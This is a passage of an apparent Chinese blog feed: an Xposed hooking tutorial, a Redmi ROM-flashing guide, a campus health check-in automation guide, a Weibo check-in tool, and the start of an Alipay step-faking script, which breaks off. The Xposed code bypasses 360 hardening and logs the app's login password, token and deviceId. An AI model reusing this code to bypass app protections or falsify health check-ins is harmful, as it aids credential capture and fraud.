&lt;p&gt;新建项目，打开左侧资源管理设置为 Project，将 api-82 的两个文件放到 app/libs 下&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 app/bulid.gradle 下面的 dependencies 中加入以下代码，然后点击右上角的 Sync&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compileOnly &apos;de.robv.android.xposed:api:82&apos;
compileOnly &apos;de.robv.android.xposed:api:82:sources&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 AndroidManifest.xml 中加入一下代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta-data
           android:name=&quot;xposedmodule&quot;
           android:value=&quot;true&quot; /&amp;gt;
&amp;lt;meta-data
           android:name=&quot;xposeddescription&quot;
           android:value=&quot;hook 5.3.6 版本完美校园登录参数，包括 deviceId&quot; /&amp;gt;
&amp;lt;meta-data
           android:name=&quot;xposedminversion&quot;
           android:value=&quot;54&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 main 文件下创建 assets 文件夹，在其下创建 xposed_init 文件，文件中写 xposed 的入口即 &lt;code&gt;com.wanxiao.xp_hook.MainHook&lt;/code&gt;（包名 + 类名）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 MainActivity 同级目录下创建 MainHook 的 Java class 文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;编写 Hook 代码，当前代码为 Hook 5.3.6 版本的代码，因为需要绕过 360 加固 Hook&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Hook 完美校园
if (!loadPackageParam.packageName.equals(&quot;com.newcapec.mobile.ncp&quot;)) {
    return;
}
XposedBridge.log(&quot;已 HOOK 到完美校园&quot;);

// Hook 360加固
findAndHookMethod(&quot;com.stub.StubApp&quot;, 
                  loadPackageParam.classLoader,
                  &quot;attachBaseContext&quot;, 
                  Context.class, 
                  new XC_MethodHook() {
                      @Override
                      protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                          super.afterHookedMethod(param);
                          //获取到Context对象，通过这个对象来获取classloader
                          Context context = (Context) param.args[0];
                          //获取classloader，之后hook加固后的就使用这个classloader
                          ClassLoader classLoader = context.getClassLoader();
                          hook_param(classLoader, &quot;getAppCode&quot;, &quot;appCode: &quot;);
                          hook_param(classLoader, &quot;getDeviceId&quot;, &quot;deviceId: &quot;);
                          hook_param(classLoader, &quot;getNetWork&quot;, &quot;netWork: &quot;);
                          hook_param(classLoader, &quot;getPassword&quot;, &quot;password: &quot;);
                          hook_param(classLoader, &quot;getQudao&quot;, &quot;qudao: &quot;);
                          hook_param(classLoader, &quot;getRequestMethod&quot;, &quot;requestMethod: &quot;);
                          hook_param(classLoader, &quot;getSms&quot;, &quot;sms: &quot;);
                          hook_param(classLoader, &quot;getShebeixinghao&quot;, &quot;shebeixinghao: &quot;);
                          hook_param(classLoader, &quot;getSystemType&quot;, &quot;systemType: &quot;);
                          hook_param(classLoader, &quot;getTelephoneInfo&quot;, &quot;telephoneInfo: &quot;);
                          hook_param(classLoader, &quot;getTelephoneModel&quot;, &quot;telephoneModel: &quot;);
                          hook_param(classLoader, &quot;getToken&quot;, &quot;token: &quot;);
                          hook_param(classLoader, &quot;getType&quot;, &quot;type: &quot;);
                          hook_param(classLoader, &quot;getUnionid&quot;, &quot;unionid: &quot;);
                          hook_param(classLoader, &quot;getUserId&quot;, &quot;userId: &quot;);
                          hook_param(classLoader, &quot;getUserName&quot;, &quot;userName: &quot;);
                          hook_param(classLoader, &quot;getWanxiaoVersion&quot;, &quot;wanxiaoVersion: &quot;);
                          hook_param(classLoader, &quot;getYunyingshang&quot;, &quot;yunyingshang: &quot;);
                          hook_param(classLoader, &quot;toJsonString&quot;, &quot;当前登录方式请求参数: &quot;);
                      }
                  });


}

public void hook_param(ClassLoader classLoader, String methodName, String resultName){
    findAndHookMethod(
        &quot;com.wanxiao.rest.entities.login.LoginReqData&quot;, classLoader, methodName,
        new XC_MethodHook() {
            @Override
            protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                String msg = resultName + param.getResult();
                XposedBridge.log(msg);
                Log.i(&quot;[ 17wanxiaoHook ]&quot;, msg);
            }
        }
    );

};
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;结果展示&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;❄总结&lt;/h2&gt;
&lt;p&gt;安卓逆向这方面我只是个小小新手，Xp Hook 真的很牛皮，更强大的功能目前还用不上，Frida Hook 测试只能 Hook 5.0.2 版本，5.3.6 版本死活显示多进程，Frida Hook 不到，有机会接触这方面的再继续学习，目前也就这样了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文仅供交流学习，请勿用于违法用途&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>我的刷机之旅 — Redmi K20 Pro</title><link>https://reajason.eu.org/writing/androidflashrom/</link><guid isPermaLink="true">https://reajason.eu.org/writing/androidflashrom/</guid><pubDate>Mon, 12 Apr 2021 23:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;🙋‍♂️前言&lt;/h2&gt;
&lt;p&gt;大二开始接触手机上的各种破解软件，在类似葫芦侠，各种瞎几把论坛瞎逛找一些好玩的软件或者美化操作，当时拿着荣耀畅玩 5A 、OPPO R9，软件安装限制很大。一个偶然的机会，下载了 &lt;a href=&quot;https://coolapk.com/&quot;&gt;酷安&lt;/a&gt;，接触到了 ROOT 和 Xposed 模块，并产生了非常浓厚的兴趣（因为可玩性实在是太高了），后来（大三）买了一个 Redmi Note 7 Pro 开始了我的刷机之路（选择红米的手机是因为小米手机官方有解锁工具，类原生适配非常多，红米手机又便宜，学生党只能这个样子了），加群以及在酷安学习了很久之后，写了一个 &lt;a href=&quot;https://mp.weixin.qq.com/s/aFvXRVqvBMkPgy3rnaQrFA&quot;&gt;刷机教程&lt;/a&gt;，而如今（大四）手持 Redmi K20 Pro 基本养老了，不过 &lt;a href=&quot;https://github.com/topjohnwu/Magisk&quot;&gt;Magisk&lt;/a&gt; 和 &lt;a href=&quot;https://github.com/LSPosed/LSPosed&quot;&gt;Lsposed&lt;/a&gt;（后来兴起的用来代替 &lt;a href=&quot;https://github.com/ElderDrivers/EdXposed&quot;&gt;EdXposed&lt;/a&gt;）也还是必装，毕竟 &lt;a href=&quot;https://github.com/yc9559/uperf/releases&quot;&gt;yc 调度模块 &lt;/a&gt;（省电优化）和 &lt;a href=&quot;https://forum.xda-developers.com/t/xposed-edge-pro.3525566/&quot;&gt;Xposed Edge Pro&lt;/a&gt;（自动化以及手势增强）等等是真的香喷喷。&lt;/p&gt;
&lt;p&gt;MIUI12.5 发布了这么久，有些地方优化还是没做好，可能还需要一段时间吧，现在小米疯狂出新手机，对于我这个手机估计离停更也不远了，大家应该都听过类原生流畅丝滑之类的，但是其功能就没有 MIUI 这么多了，因此要用得习惯对于我来说还是很难得，不过对于玩机党来说有时候，在类原生和 MIUI 中间反复横跳是常有的事情，今天有时间就再更新一下之前的刷机教程（适用于所有小米手机，套路都一样），再来演示一波类原生刷机教程以及刷面具。&lt;/p&gt;
&lt;h2&gt;💡XDA 论坛&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;XDA 论坛官网：https://forum.xda-developers.com/
Redmi K20 Pro ：https://forum.xda-developers.com/c/redmi-k20-pro-xiaomi-mi-9t-pro.8953/
其他机型自行在论坛官网的右上角搜索即可，加载有点慢，毕竟是国外的网站&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips：刷机资源绝大多数都以手机代号来命名，所以需要先知道自己的手机代号。小米手机可以在 &lt;a href=&quot;https://miuiver.com/xiaomi-device-codename/&quot;&gt;【小米手机代号名称查询】&lt;/a&gt; 查找，例如 Redmi K20 Pro 的手机代号为 raphael&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我觉得这个 XDA 是国外玩机党的 HOME，基本类原生全都发布在这里，每个手机板块下都有一个叫 ***ROMs, Kernels, Re，在这个下面就可以找到类原生系统的发布地址，和简单的刷入操作介绍，对于我们来说刷之前可以先去酷安对应手机板块下逛逛，看刷哪个比较好，看别人的刷入体验有哪些特别要注意的地方。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🔓解 BL 锁&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;解锁小米手机官网：http://www.miui.com/unlock/index.html
官方解锁工具：&lt;a href=&quot;http://miuirom.xiaomi.com/rom/u1106245679/5.5.224.55/miflash_unlock-5.5.224.55.zip&quot;&gt;miflash_unlock&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips:小米解锁手机需要设备和账号绑定一周后才给予解锁服务的，可能可以秒解，解锁是会清除手机所有数据的，所以请务必备份手机的重要数据，等待期间可以学习学习刷机教程&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;打开开发者选项
&lt;ul&gt;
&lt;li&gt;进入设置－我的设备－全部参数－MIUI版本－疯狂点几下开启开发者模式&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;绑定账号与设备
&lt;ul&gt;
&lt;li&gt;进入设置－更多设置－开发者选项－设备解锁状态－绑定账号和设备&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;打开解锁工具，登录小米账号，并检测设备是否可解锁，如果可则解锁，不可则慢慢等待相应时间&lt;/li&gt;
&lt;li&gt;手机进入 fastboot 模式（即官方教程给出的 Bootloader 模式）（不一定要关机，同时按住开机键和音量下键，一直按着即可进入），手机用数据线连接电脑&lt;/li&gt;
&lt;li&gt;点击解锁（会清除所有设备数据，注意备份重要数据）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;⚙刷入 TWRP&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;TWRP 官网：https://twrp.me/Devices/
Redmi K20 Pro：https://twrp.me/xiaomi/xiaomimi9tpro.html
OrangeFox：https://archive.orangefox.download/OrangeFox-Stable/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;获取 TWRP&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在上方的 TWRP 官网中，找到自己的设备页面，在 Download Links 下选择 Primary (Americas)，即可找到最新的 TWRP 镜像文件，因为镜像站点在国外下载可能过慢，下方评论回复有时间可帮下。Redmi K20 Pro twrp-3.5.2_9-0-raphael.img：&lt;a href=&quot;https://lingsiki.lanzoui.com/izQJIo1bxwb&quot;&gt;蓝奏云&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;可在酷安手机板块搜索下载，应该是有人搬运的，或者去刷机群找找&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;获取 ADB&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;给出下面两个版本的 adb，Android版本低的建议 32 版本，我使用 41 版本，有时候 adb 无法连接手机或者 TWRP 刷不进去可能是 adb 版本的问题，换一个有可能可以解决&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lingsiki.lanzoui.com/iz9Bao1c0na&quot;&gt;adb version 1.0.32.zip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lingsiki.lanzoui.com/iy8HBo1c0mj&quot;&gt;adb version 1.0.41.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;连接手机&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;手机进入 fastboot 模式（因为界面有个兔子也称兔子模式）（不一定要关机，直接同时按住开机键和音量下键，一直按着即可进入）&lt;/li&gt;
&lt;li&gt;手机数据线连接电脑&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用命令刷入 TWRP&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;解压 ADB 压缩包，在资源管理器的地址栏输入 cmd，回车即可在当前目录打开命令行&lt;/li&gt;
&lt;li&gt;输入 &lt;code&gt;fastboot devices -l&lt;/code&gt; 查看是否已连接上&lt;/li&gt;
&lt;li&gt;输入 &lt;code&gt;fastboot flash recovery 将 img 文件拖入此处&lt;/code&gt;，刷入 TWRP&lt;/li&gt;
&lt;li&gt;显示 Finished 即完成，在 fastboot 模式下，同时按住开机键和音量上键，一直按着直到手机震动一下松手即可进入 TWRP 界面&lt;/li&gt;
&lt;li&gt;官方 TWRP 版本进入会有一个界面选择是否系统分区只读，select language 选择中文，下次不再提醒，滑动修改&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;该方式是通用的刷入第三方 REC 的方法，那种什么一键刷入的也就用这个命令，因此你也可以以这种方式刷入其他第三方 REC，例如上方给出的 OrangeFox（橙狐），下载对应手机代号最新的压缩包，解压就可以看见 img 镜像文件，也可以在 TWRP 中直接刷入下载下来的 zip 包，重启 TWRP ，REC 就变成了 OrangeFox（橙狐），如果由于某种误操作导致 TWRP 掉了，再以该方式刷入就行了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🎨卡刷 ROM&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;卡刷其实就是在 TWRP（第三方 REC） 里面将 zip 包刷入手机，这里以 &lt;a href=&quot;https://sourceforge.net/projects/evolution-x/files/raphael/EvolutionX_5.6_raphael-11-20210413-0411-OFFICIAL.zip/download&quot;&gt;EvolutionX_5.6_raphael-11-20210413&lt;/a&gt; 为例安装类原生，所需要的固件包版本为 &lt;a href=&quot;https://downloads.akhilnarang.dev/MIUI/raphael/RAPHAEL-V12.0.6.0.QFKCNXM-10.0-vendor-firmware.zip&quot;&gt;RAPHAEL-V12.0.6.0&lt;/a&gt;，Redmi K20 Pro TWRP 目前无法自动解密，为防止 TWRP 乱码，可刷入 &lt;a href=&quot;https://lingsiki.lanzoui.com/iLHEeo1l08j&quot;&gt;强制解密补丁&lt;/a&gt; （不知道其他手机是否可用）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;电脑端下载指定版本固件包、类原生包、强制解密补丁&lt;/li&gt;
&lt;li&gt;手机进入 TWRP，数据线连接电脑，电脑打开手机存储将包全部移到手机内部存储的 TWRP 文件夹&lt;/li&gt;
&lt;li&gt;点击 TWRP 主界面的安装，找到 TWRP 文件夹并选择固件包，滑动刷入，安装完成之后以相同方式刷入类原生包和强制解密补丁&lt;/li&gt;
&lt;li&gt;点击 TWRP 主界面的清楚，格式化 DATA，yes，重启系统&lt;/li&gt;
&lt;li&gt;升级系统
&lt;ul&gt;
&lt;li&gt;先直接下载新版本的完整包&lt;/li&gt;
&lt;li&gt;进入 TWRP 刷入顺序为：完整包 - Magisk 卡刷包（可选） - 强制解密补丁 - 重启系统&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;🎭安装 Magisk&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Magisk GitHub：https://github.com/topjohnwu/Magisk&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips:Magisk 以前分发的都是卡刷包，刷完桌面就会有 Magisk 管理器，但是 Magisk 在 &lt;a href=&quot;https://github.com/topjohnwu/Magisk/releases/tag/v22.0&quot;&gt;22.0&lt;/a&gt; 版本之后就没有分发卡刷 zip 包了，只有一个 apk 文件，但是将 apk 文件后缀名改为 zip 即可变成卡刷包。Magisk 在升级系统和刷入内核的时候都会掉，此时只要刷完系统包或者内核之后再刷入 Magisk 的卡刷包即可&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;下载 &lt;a href=&quot;https://github.com/topjohnwu/Magisk/releases&quot;&gt;Magisk.apk&lt;/a&gt; 并安装，然后在文件管理将其改为 .zip 格式&lt;/li&gt;
&lt;li&gt;同时按住开机键和音量上键，进入 TWRP，安装 - 选择 Magisk.zip - 刷入 - 重启&lt;/li&gt;
&lt;li&gt;打开 Magisk app 即可显示安装的版本&lt;/li&gt;
&lt;li&gt;卸载的话就下载 &lt;a href=&quot;https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-uninstaller-20210117.zip&quot;&gt;Magisk-uninstall.zip&lt;/a&gt; 在 TWRP 刷入即可卸载&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;✨安装 Lsposed&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Lsposed：https://github.com/LSPosed/LSPosed
EdXposed：https://github.com/ElderDrivers/EdXposed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;在 Magisk app 中先安装 Riru 后安装 Riru-LSPosed 重启即可&lt;/li&gt;
&lt;li&gt;重启后，打开 LSPosed app 即可查看 LSPosed 是否安装成功&lt;/li&gt;
&lt;li&gt;可以在仓库中安装 xp 模块，然后在模块中启用，并勾选作用域（即该 xp 模块 需要对谁起作用）&lt;/li&gt;
&lt;li&gt;如果作用的是单个 app 开启模块后重启 app 即可生效，如果作用域为系统框架那么需要重启生效&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;☂线刷救砖&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;对于刚开始玩刷机的朋友，可能会操作不当会遇到手机突然无法开机，或者等等情况
只要同时按住开机键和音量下键能够进入 fastboot 模式，那么你就可以通过线刷的方式开机&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;小米官方线刷教程：http://www.miui.com/shuaji-393.html
小米官方通用刷机工具：http://bigota.d.miui.com/tools/MiFlash2018-5-28-0.zip&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips:各机型线刷包也是在该链接下载，线刷包是以 tar 格式结尾的包，卡刷包是以 zip 格式结尾的，我当时拿卡刷包去线刷，线刷工具说找不到脚本，折腾半天找不到解决办法，所以这里特别提醒！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;下载本机型的线刷包解压，我用 7zip 要解压两次，解压之后文件夹有许多 .bat .sh 文件，下载通用刷机工具解压&lt;/li&gt;
&lt;li&gt;打开在刷机工具文件夹中 XiaoMiFlash.exe，安装驱动&lt;/li&gt;
&lt;li&gt;手机进入 fastboot 模式（不一定要关机，同时按住开机键和音量下键，一直按着即可进入），用数据线连接电脑&lt;/li&gt;
&lt;li&gt;点击加载设备，下面即会显示一行东西意味着手机已连接&lt;/li&gt;
&lt;li&gt;点击选择，选择解压之后的线刷包&lt;/li&gt;
&lt;li&gt;在右下角有三种模式，一般使用第一个全部删除就可以，最后一个全部删除并 lock 即是回锁，等什么时候你不再刷机了，可以以这种方式回锁设备&lt;/li&gt;
&lt;li&gt;用时可能需要一点点时间，如果报错，请自行百度或求助于各大论坛学习解决&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以上完，如有错误，恳请指正，仅记录一下自己刷机的过程，大家想玩就玩，刷机需谨慎，变砖两行泪&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>完美校园自动打卡</title><link>https://reajason.eu.org/writing/17wanxiaocheckinscf/</link><guid isPermaLink="true">https://reajason.eu.org/writing/17wanxiaocheckinscf/</guid><pubDate>Fri, 19 Mar 2021 23:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;项目地址：https://github.com/ReaJason/17wanxiaoCheckin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;🌈使用方法&lt;/h2&gt;
&lt;h3&gt;1、新建云函数&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;2、上传 SCF 包&lt;/h3&gt;
&lt;p&gt;本地上传 zip 包（17wanxiaoCheckin-SCF v*.*.zip：&lt;a href=&quot;https://lingsiki.lanzoui.com/b0ekhmcxe&quot;&gt;蓝奏云&lt;/a&gt;，密码：2333）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;3、触发器配置&lt;/h3&gt;
&lt;p&gt;自定义创建 — 触发周期：自定义触发 — Cron 表达式：0 0 6,14 * * * * — 完成 — 立即跳转&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;4、超时设置&lt;/h3&gt;
&lt;p&gt;函数管理 — 函数配置 — 编辑 — 执行超时时间：900 — 保存&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;5、配置文件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;整个 json 文件使用一个 &lt;code&gt;[]&lt;/code&gt; 列表用来存储打卡用户数据，每一个用户占据了一个 &lt;code&gt;{}&lt;/code&gt;键值对，初次修改务必填写的数据为：&lt;code&gt;phone&lt;/code&gt;、&lt;code&gt;password&lt;/code&gt;、&lt;code&gt;device_id&lt;/code&gt;（获取方法：&lt;a href=&quot;https://lingsiki.lanzoui.com/iQamDmt165i&quot;&gt;蓝奏云&lt;/a&gt;，下载解压使用）、健康打卡的开关（根据截图判断自己属于哪一类&lt;a href=&quot;https://cdn.jsdelivr.net/gh/ReaJason/blog_imgs/17wanxiaoCheckInSCF/one.png&quot;&gt;【1】&lt;/a&gt;、&lt;a href=&quot;https://cdn.jsdelivr.net/gh/ReaJason/blog_imgs/17wanxiaoCheckInSCF/two.png&quot;&gt;【2】&lt;/a&gt;），校内打卡开关（有则开），推送设置 &lt;code&gt;push&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关于 &lt;code&gt;post_json&lt;/code&gt;，如若打卡推送数据中无错误，则不用管，若有 null，或其他获取不到的情况，则酌情修改即可，和推送是一一对应的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果多人打卡，则复制单个用户完整的 &lt;code&gt;{}&lt;/code&gt;，紧接在上个用户其后即可。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;【第一次使用推荐 QQ 邮箱推送，数据推送全面】&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;6、测试部署&lt;/h3&gt;
&lt;p&gt;若弹框【检测到您的函数未部署......】选是 — 查看执行日志以及推送信息（执行失败请带上执行日志完整截图反馈）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;7、检测成功&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;第一类健康打卡成功结果：&lt;code&gt;{&apos;msg&apos;: &apos;成功&apos;, &apos;code&apos;: &apos;10000&apos;, &apos;data&apos;: 1}&lt;/code&gt;，显示打卡频繁也算&lt;/li&gt;
&lt;li&gt;第二类健康打卡成功结果：&lt;code&gt;{&apos;code&apos;: 0, &apos;msg&apos;: &apos;成功&apos;}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;校内打卡成功结果：&lt;code&gt;{&apos;msg&apos;: &apos;成功&apos;, &apos;code&apos;: &apos;10000&apos;, &apos;data&apos;: 1}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;仔细查看打卡的数据，如果有值为 null 的，可能是因为打卡数据无法自动填写，请在配置文件中添加该项的赋值&lt;/li&gt;
&lt;li&gt;由于前面使用软件获取了 device_id，所以请使用支付宝小程序查看打卡结果是否记录上去，以免手机登录使用的 device_id 失效&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8、表格数据 None&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;找到并记住自己值为 None 的选项，并记住此 propertyname，我们需要修改 value 为我们所填写的信息，有多少就修改多少&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;打开第一行推送数据，找到与之对应的推送数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在第二行中查找推送数据，propertyname 下的 checkValue 为我们所能填写的值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最后修改配置文件，第一类健康打卡则在 one_check 下的 post_json 下修改，校内即校内下面的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;📜FQA&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;如果有问题，这边请 &lt;a href=&quot;https://github.com/ReaJason/17wanxiaoCheckin#fqa&quot;&gt;GitHub&lt;/a&gt;，或进群反馈 &lt;a href=&quot;https://github.com/ReaJason/17wanxiaoCheckin-Actions/issues/30&quot;&gt;交流群&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>微博超话签到工具</title><link>https://reajason.eu.org/writing/wbtopicchecktool/</link><guid isPermaLink="true">https://reajason.eu.org/writing/wbtopicchecktool/</guid><pubDate>Thu, 04 Feb 2021 17:41:54 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;项目地址：https://github.com/ReaJason/WBTopicCheckTool&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;由于之前的很多接口作废了，暂时也不想花时间在这上面了，之前也挖了点坑，这个写出来算是给之前 &lt;a href=&quot;https://github.com/ReaJason/WeiBo_SuperTopics&quot;&gt;WeiBo_SuperTopics&lt;/a&gt; 一个交代，简单的用 PyQt5 封装了微博网页版的扫码登陆以及签到请求，想要学习的小伙伴可以下载源码进行学习。&lt;/p&gt;
&lt;h2&gt;开发环境&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Windows 10&lt;/li&gt;
&lt;li&gt;Python 3.7.9&lt;/li&gt;
&lt;li&gt;requests==2.25.1，PyQt5==5.15.1&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;界面截图&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;注意事项&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;下载源码之后，先安装第三方库&lt;code&gt;pip install -r requirements.txt&lt;/code&gt;，再使用 &lt;code&gt;python start.py&lt;/code&gt;启动程序&lt;/li&gt;
&lt;li&gt;程序打包命令，&lt;code&gt;pyinstaller -F -w -i ./res/favicon.ico start.py&lt;/code&gt;，然后将&lt;code&gt;res&lt;/code&gt;目录复制到 &lt;code&gt;dist&lt;/code&gt;目录&lt;/li&gt;
&lt;li&gt;扫码登录成功之后会自动获取超话列表，获取失败，刷新超话重新获取即可&lt;/li&gt;
&lt;li&gt;超话数量越多，签到间隔建议设置大一点，以防请求异常&lt;/li&gt;
&lt;li&gt;若无法使用本程序，请检查自己账号是否异常，不要拿异常账号反馈&lt;/li&gt;
&lt;li&gt;本程序只供参考学习，请勿用于违法用途&lt;/li&gt;
&lt;li&gt;使用本程序导致微博账号异常或冻结甚至封禁都与作者无关&lt;/li&gt;
&lt;li&gt;凡以任何方式下载使用本程序者，视为自愿接受本声明约束。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;下载链接&lt;/h2&gt;
&lt;p&gt;​     https://lingsiki.lanzoui.com/b0eke1lof 密码: 3d8a&lt;/p&gt;
</content:encoded></item><item><title>支付宝多账号同步</title><link>https://reajason.eu.org/writing/alipayautosync/</link><guid isPermaLink="true">https://reajason.eu.org/writing/alipayautosync/</guid><pubDate>Sat, 07 Nov 2020 09:35:00 GMT</pubDate><content:encoded>&lt;p&gt;本脚本所使用的autojs版本为 —&amp;gt; &lt;a href=&quot;https://lingsiki.lanzoui.com/in80Mi4ve3a&quot;&gt;Auto.js_4.1.1 Alpha2&lt;/a&gt;
实现原理：利用三星健康管理刷三星健康的步数，然后把三星健康的步数同步到每一个小号上&lt;/p&gt;
&lt;h3&gt;一、基本功能&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;支付宝刷步数&lt;/li&gt;
&lt;li&gt;支付宝账号切换&lt;/li&gt;
&lt;li&gt;运动同步以及捐步&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;二、代码实现&lt;/h3&gt;
&lt;h4&gt;1、关闭支付宝&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 关闭支付宝函数
 */
function closeAlipay(){
    appName = app.getPackageName(&apos;支付宝&apos;)
    app.openAppSetting(appName)
    sleep(1000)
    var obj = text(&apos;结束运行&apos;).findOne(5000)
    clickCenter(obj)
    var btn = idContains(&apos;button1&apos;).findOne(1000)
    if (btn){
        btn.click()
    }
    console.log(&quot;支付宝关闭成功！\n开启任务&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、支付宝刷步数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/**
